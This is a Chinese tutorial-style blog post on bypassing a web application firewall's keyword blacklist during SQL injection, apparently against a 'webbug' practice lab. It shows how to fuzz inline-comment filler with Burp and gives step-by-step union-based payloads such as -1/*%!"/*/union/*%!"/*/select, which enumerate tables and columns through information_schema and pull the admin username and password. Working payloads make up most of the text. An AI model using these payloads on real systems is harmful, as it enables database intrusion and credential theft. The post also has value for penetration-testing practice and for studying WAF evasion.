您的位置:首页 > 数据库

sql注入内联注释过waf

2020-01-17 11:03 183 查看

sql注入内联注释过waf

正常输入:

1


然后尝试:
-1
order by

被拦截

然后单独尝试

order
或者
by

单独的order或者by并没有被拦截,内联注释干扰黑名单检测

-1/**/order/**/by 3

只是简单的

/**/
也被过滤了,那么就在
/**/
中间加干扰

-1 and 1=1
来进行测试,burp抓包,然后在被过滤的关键字前后加注释,注释中间用§ §来进行爆破定点,配置如下


字符集设置一些字符数字字母随机组合干扰


然后进行爆破

响应没有显示waf的为爆破成功的结果


此处采用payload1来进行内联注释的干扰

/*%!"/*/

-1/*%!"/*/and/*%!"/*/1=1

由此看出,此时and并没有被waf黑名单检测到

然后进行order by查询

-1/*%!"/*/order/*%!"/*/by 3


-1/*%!"/*/order/*%!"/*/by 4

由此可得,查询3项数据

然后union select查询

-1/*%!"/*/union/*%!"/*/select 1,2,3


2和3处可以查询自己想要的信息

查database:此处database单个单词没被加黑名单,database()被加黑名单了,那就在database和()中间加注释:

-1/*%!"/*/union/*%!"/*/select+1,/*%!"/*/database/*%!"/*/(),3

查询到的database为webbug

然后查表名输入-1可以看到


其中web所用的表是news,如果结果中没news的话,可能是如法错了

用group_concat来查询table_name:

-1/*%!"/*/union/*%!"/*/select+1,group_concat(table_name),3/*%!"/*/from information_schema.tables where/*%!"/*/table_schema='webbug'
结果如下:


查user表的columns信息

-1/*%!"/*/union/*%!"/*/select 1,group_concat(column_name),3/*%!"/*/from information_schema.columns where/*%!"/*/table_schema='webbug'/*%!"/*/and/*%!"/*/table_name='user'

这里可以查到用户信息以及密码

我们这里查uid=1的用户作为例子:

-1/*%!"/*/union/*%!"/*/select 1,group_concat(uname),group_concat(pwd)/*%!"/*/from webbug.user where/*%!"/*/uid=1

admin用户的信息就查到了

其他表信息同理

内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签: